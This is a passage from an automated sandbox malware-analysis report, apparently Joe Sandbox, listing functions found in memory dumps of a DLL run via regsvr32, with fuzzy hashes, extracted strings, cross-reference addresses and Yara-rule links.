Opcode Fuzzy Hash: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction Fuzzy Hash: 13322B70908B488FE769CF78C48665EBBF0FB84748F204A1DE6A697270DB749945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021738 Relevance: 5.5, Strings: 4, Instructions: 483COMMON

Download Yara Rule

Strings

Od^v, xrefs: 0000000180021933
%, xrefs: 00000001800220F1
dS, xrefs: 0000000180021E7D
N'}, xrefs: 0000000180021C2C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$N'}$Od^v$dS
API String ID: 0-4183360357
Opcode ID: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction ID: 281f3f4e81126c35bb2be7146c604e5ee0be10d432db17f45780181539d507de
Opcode Fuzzy Hash: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction Fuzzy Hash: 3342D9B190438C8BDBB8CF64C8896DD7BF1FB48318F50852DDA199B251DBB05685CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800252C0 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

sH, xrefs: 00000001800254B9
__Z%, xrefs: 000000018002535D
|deb, xrefs: 000000018002537F
+Gq, xrefs: 0000000180025679

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Gq$__Z%$|deb$sH
API String ID: 0-2072550713
Opcode ID: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction ID: 26b4cb1fb47336c1432c1659c452027cf20818b998f95a2bcb6bb32f36742f2f
Opcode Fuzzy Hash: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction Fuzzy Hash: 0FD1137160270DCBDB68DF28C68A6DE3BE1FF48308F504129FC5A96262D774D929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000403C Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

xX, xrefs: 0000000180004380
:=, xrefs: 000000018000423F
8r, xrefs: 000000018000410D
5P, xrefs: 00000001800044DE

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5P$8r$:=$xX
API String ID: 0-2901174047
Opcode ID: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction ID: 9c4e4b6ab2cee8fe4f9bfbf45665c48137a45671121b1b9ae43ff9fbf3dba1fc
Opcode Fuzzy Hash: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction Fuzzy Hash: 35E1357191034D9BCB88DF64C8899DD7BF1FB48398F516219FC4AAB260C7789585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019178 Relevance: 5.3, Strings: 4, Instructions: 258COMMON

Download Yara Rule

Strings

Ro, xrefs: 0000000180019427
WW, xrefs: 0000000180019528
&, xrefs: 0000000180019348
X|, xrefs: 000000018001950F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$Ro$X|$WW
API String ID: 0-419055892
Opcode ID: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction ID: 8aa2c3e6b8818245adabd520600babaa531b4d52059a868131a34f3b668756e0
Opcode Fuzzy Hash: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction Fuzzy Hash: 1EC1FDB150570DCBDB68CF28C58A6DE3BE5FB48308F108129FC5A9B2A0D774EA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F0A8 Relevance: 5.2, Strings: 4, Instructions: 246COMMON

Download Yara Rule

Strings

6), xrefs: 000000018001F229
uxX4, xrefs: 000000018001F1AC
tR, xrefs: 000000018001F0FE
tR, xrefs: 000000018001F405

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tR$tR$uxX4$6)
API String ID: 0-566208085
Opcode ID: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction ID: 21dbc208fb27f88b672f000d339ef1a4b78a4386f06e48fd8b1f03ba1e8317ad
Opcode Fuzzy Hash: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction Fuzzy Hash: 84D1E5705087CC8BDBFEDF68C8857DA7BA8FB44748F104219EA0A9E269CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BDC Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

57, xrefs: 0000000180018BFC
7|, xrefs: 0000000180018F55
`by, xrefs: 0000000180018DC2
K-~, xrefs: 0000000180018C6B

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 57$7|$K-~$`by
API String ID: 0-1764728439
Opcode ID: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction ID: 0ef0f182f1da72c174031fc5be9a225670cb57be642fb1d84f9edf9d7426cf45
Opcode Fuzzy Hash: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction Fuzzy Hash: 5EC1227510160CCBDBA8DF38C48A6DD3BE1FF58308F605129FC2A9A266C7B4D959CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B350 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018000B6A4
"*, xrefs: 000000018000B6F1
DgQ, xrefs: 000000018000B714
6i, xrefs: 000000018000B5D1

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$"*$DgQ$6i
API String ID: 0-2770996495
Opcode ID: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction ID: 504b32a01a029d54a9cc7c4b79b1c57dce6396aa3b2efbc72770fc67d95dc726
Opcode Fuzzy Hash: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction Fuzzy Hash: CCB10871A0870CABDFA9DFA8E4896DDBBF1FB44344F00451DE446A7290DB749A0ECB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028998 Relevance: 5.2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

p, xrefs: 00000001800289F5
iJ"], xrefs: 0000000180028B69
p, xrefs: 0000000180028A07
O:M, xrefs: 0000000180028A0E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O:M$iJ"]$p$p
API String ID: 0-2745201584
Opcode ID: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction ID: 8b688321e04c0e646b0fc78ee6d67cd940f90a9f6723fb1f8222d7259e9641f4
Opcode Fuzzy Hash: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction Fuzzy Hash: 8AB10070D143098BCB89DFA8D486AEEBBF0FB48304F14851EE856B7250D7749A44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction ID: 7eafebeb16ca57a5525b51ed0f378306bc52b64ad103bedb915b9118f6e813be
Opcode Fuzzy Hash: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction Fuzzy Hash: 1A810C36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016AF4 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

8(', xrefs: 0000000180016CE5
OG3, xrefs: 0000000180016D08
6fA, xrefs: 0000000180016CBF
9\D, xrefs: 0000000180016BDC

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8('$6fA$9\D$OG3
API String ID: 0-2292045659
Opcode ID: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction ID: ef0df636cc5d4b1adb12f513697d006f7e6ff77cbfd46ce7bca5e6c4611c7a17
Opcode Fuzzy Hash: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction Fuzzy Hash: 6E8166B591130DCFDB98CF28C18A5CA3BA8FF55318F00412AFC1E9A264D3B4E959CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020AA0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

0Oa, xrefs: 0000000180020BBD
!j, xrefs: 0000000180020B50
IzY, xrefs: 0000000180020AE3
w4, xrefs: 0000000180020B7E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !j$IzY$w4$0Oa
API String ID: 0-1210086663
Opcode ID: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction ID: d6ae16ce1753066c3a100fad89cd7b933425bd3752a83aacc50f13ca8011d066
Opcode Fuzzy Hash: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction Fuzzy Hash: 4E41CFB090034E8BCF88CF65C48A5DE7FB0FB68358F104619E916A6250D7B896A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AF38 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

!fl, xrefs: 000000018002B3C2
>q, xrefs: 000000018002B2D9
>q, xrefs: 000000018002B162

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !fl$>q$>q
API String ID: 0-3196423155
Opcode ID: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction ID: 6e0169028e0bb78a63dbed9d1dbc36ce20ef11fe4735bb4ca27ada0b4c61fd75
Opcode Fuzzy Hash: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction Fuzzy Hash: 18022574A0670CDBCBA9CFA8E48A69DBBF1FF14388F104119F816A7261C7B49919CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284COMMON

Download Yara Rule

Strings

HG, xrefs: 0000000180006E14
C2, xrefs: 0000000180006EBC
"Gd, xrefs: 0000000180006E8F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023624 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

Vu9(, xrefs: 0000000180023B25
QZB, xrefs: 0000000180023706
W1Z, xrefs: 0000000180023A69

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: QZB$Vu9($W1Z
API String ID: 0-4157987319
Opcode ID: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction ID: f699ba934c7511d53ebf66ced97cbd47477d8f387fb8544ab73dfc8f8e8f4cc9
Opcode Fuzzy Hash: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction Fuzzy Hash: 7DE1E870505B888FDBB9DF24CC897EBBBE1FB84705F10551EE84A9A290DBB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A26C Relevance: 4.0, Strings: 3, Instructions: 277COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018000A546
,p, xrefs: 000000018000A3A5
1c+, xrefs: 000000018000A683

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$1c+$,p
API String ID: 0-4193689514
Opcode ID: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction ID: a14642629d5f8cbd2a1e8fb09d7711f81952208659678b8c12dc59c418106fb0
Opcode Fuzzy Hash: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction Fuzzy Hash: A0F166B5906749CFCB88DF68C28A58D7BF1BF59304F404129FC1A9A260D3B4E529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018628 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

:a, xrefs: 000000018001871C
o1, xrefs: 0000000180018668
F, xrefs: 00000001800186FC

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :a$o1$F
API String ID: 0-2167756397
Opcode ID: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction ID: c7b3f013bdef5c33efa64e5817367d2177fa9b070e37e7fa0e85b95e6b1d5a97
Opcode Fuzzy Hash: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction Fuzzy Hash: 24A10170514609DFCB98DF28C58A6DE3BE1FF58318F40822AFC0A9B264C774DA58DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C9C Relevance: 3.9, Strings: 3, Instructions: 186COMMON

Download Yara Rule

Strings

|, xrefs: 0000000180008E82
"7F, xrefs: 0000000180008FC6
hso, xrefs: 0000000180009054

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "7F$hso$|
API String ID: 0-2223032787
Opcode ID: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction ID: 597be8bf6f8274430a7b1b716aee764a508e33f64a18c5174bbc12e988f7dea5
Opcode Fuzzy Hash: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction Fuzzy Hash: CDA1E7716057888FEB7ADF64C8AA7DE7BA1FF59308F40461DD98E8E250C7B45608CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090B4 Relevance: 3.9, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

l$6, xrefs: 0000000180009270
eG, xrefs: 00000001800090E5
ktw, xrefs: 00000001800091B2

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eG$ktw$l$6
API String ID: 0-3696190584
Opcode ID: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction ID: ec7ece3e5b0c03f4df558a0a1733d02cea5b85f33e09dae2f6683fda9d55fcb2
Opcode Fuzzy Hash: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction Fuzzy Hash: E47114B0509708EFCB98DF68C089A9E7BB1FB88344F40C52EE849DB264C775DA19CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B18 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

%Di|, xrefs: 0000000180004BAF
6qp, xrefs: 0000000180004CB3
Z9s, xrefs: 0000000180004C94

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Di|$6qp$Z9s
API String ID: 0-2690900941
Opcode ID: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction ID: 2c0d7369d6c4e2fe59306caeaa3cf354025216a739d91ba443ab140e2def37b4
Opcode Fuzzy Hash: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction Fuzzy Hash: 9C61257191070C9BCB88CF24C8C96DE7BB1FB483A8F556219FC0AAA294C7749985CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007678 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

vv5, xrefs: 000000018000780B
Fl, xrefs: 0000000180007874
Fl, xrefs: 000000018000787C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fl$Fl$vv5
API String ID: 0-3053741108
Opcode ID: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction ID: 55f6967587c9a541224425d329b03615816d53db549f94b6db3b05c8e91cbb03
Opcode Fuzzy Hash: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction Fuzzy Hash: FC511A70E4870CAFDB69DFA8E0866DDBBF1FB58344F004519E40AE7291DB74990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016DA8 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

nn, xrefs: 0000000180016DF3
H8, xrefs: 0000000180016F99
nn, xrefs: 0000000180017044

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H8$nn$nn
API String ID: 0-4263809824
Opcode ID: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction ID: 3c01ac5d5c2d3476a5cfb8eba6abf236e6c64549312703f260b6bb5002efdfbd
Opcode Fuzzy Hash: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction Fuzzy Hash: 5361D67555878CCBEBBADF38CC897D97BB1FB48344F908219D80E8A260DB7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028348 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

,7%, xrefs: 0000000180028597
}]{, xrefs: 0000000180028494
%Nz, xrefs: 0000000180028375

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Nz$,7%$}]{
API String ID: 0-2809531587
Opcode ID: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction ID: b36c8970f11ad41429e233920f6dac2517fe43d92b96f19f813f385ea8bb4fb2
Opcode Fuzzy Hash: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction Fuzzy Hash: B771E470448788CBEBB5DF24C8856DEBBE4FB88744F60451DE9598B260DB749688CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ACB4 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

,mQ, xrefs: 000000018001AE53
c, xrefs: 000000018001ACDC
f41, xrefs: 000000018001ACEA

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,mQ$f41$c
API String ID: 0-1594525360
Opcode ID: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction ID: ca916729033610084f534c396dc33c1afc583cc00ddec4c12c7a73cc6334aceb
Opcode Fuzzy Hash: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction Fuzzy Hash: AD51C071D0424C8BCB48DFA9E98A9DDBBF0FB48348F11820DE85AB7261C7749905CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001370C Relevance: 3.8, Strings: 3, Instructions: 99COMMON

Download Yara Rule

Strings

R3, xrefs: 0000000180013876
$q~, xrefs: 0000000180013787
%s, xrefs: 0000000180013864

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $q~$%s$R3
API String ID: 0-2520873970
Opcode ID: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction ID: 49708784934b6f27b099c9a4c0d62a5c340693359db0e98dd39e1096da177659
Opcode Fuzzy Hash: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction Fuzzy Hash: 2D414870508784DBD398CF18C0DA65EBBF1FB853A4FA0691DF583862A4DB75D9898B03

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800061A0 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

|', xrefs: 00000001800061CE
s, xrefs: 0000000180006277
[/, xrefs: 000000018000623E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [/$s$|'
API String ID: 0-508247755
Opcode ID: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction ID: 494a7eb40676bfcc00c7fdba1f25141f52c7cc4812b1f7e8e8b884a852a0e06c
Opcode Fuzzy Hash: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction Fuzzy Hash: 1841D4B090038E8FCB48DFA9D88A5DEBBB1FB48348F10461DEC25A6250D7B49554CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012378 Relevance: 3.8, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

_#>, xrefs: 000000018001241C
fq, xrefs: 0000000180012423
`cb{, xrefs: 000000018001248C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _#>$`cb{$fq
API String ID: 0-41881557
Opcode ID: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction ID: 8d8b26aa43ab9a83d147a377112b64bfb8255cca975d25c3e902dea97d059722
Opcode Fuzzy Hash: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction Fuzzy Hash: 2941C0B180078E8FCF48CF64C88A5DE7FB0FB58358F104619E86AA6250D3B89665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012680 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

[U, xrefs: 00000001800126F5
=Z8, xrefs: 00000001800126B2
{To, xrefs: 000000018001273E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =Z8$[U${To
API String ID: 0-582923006
Opcode ID: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction ID: dd1ba70993956fe5376c9027ab0fa5dab7ea2e8642491db667c41f00a9894f6d
Opcode Fuzzy Hash: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction Fuzzy Hash: DA31AFB090074ECBCB88DF64C88A4DF7FB4FB68398F104219E855A6250D3B896A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006414 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

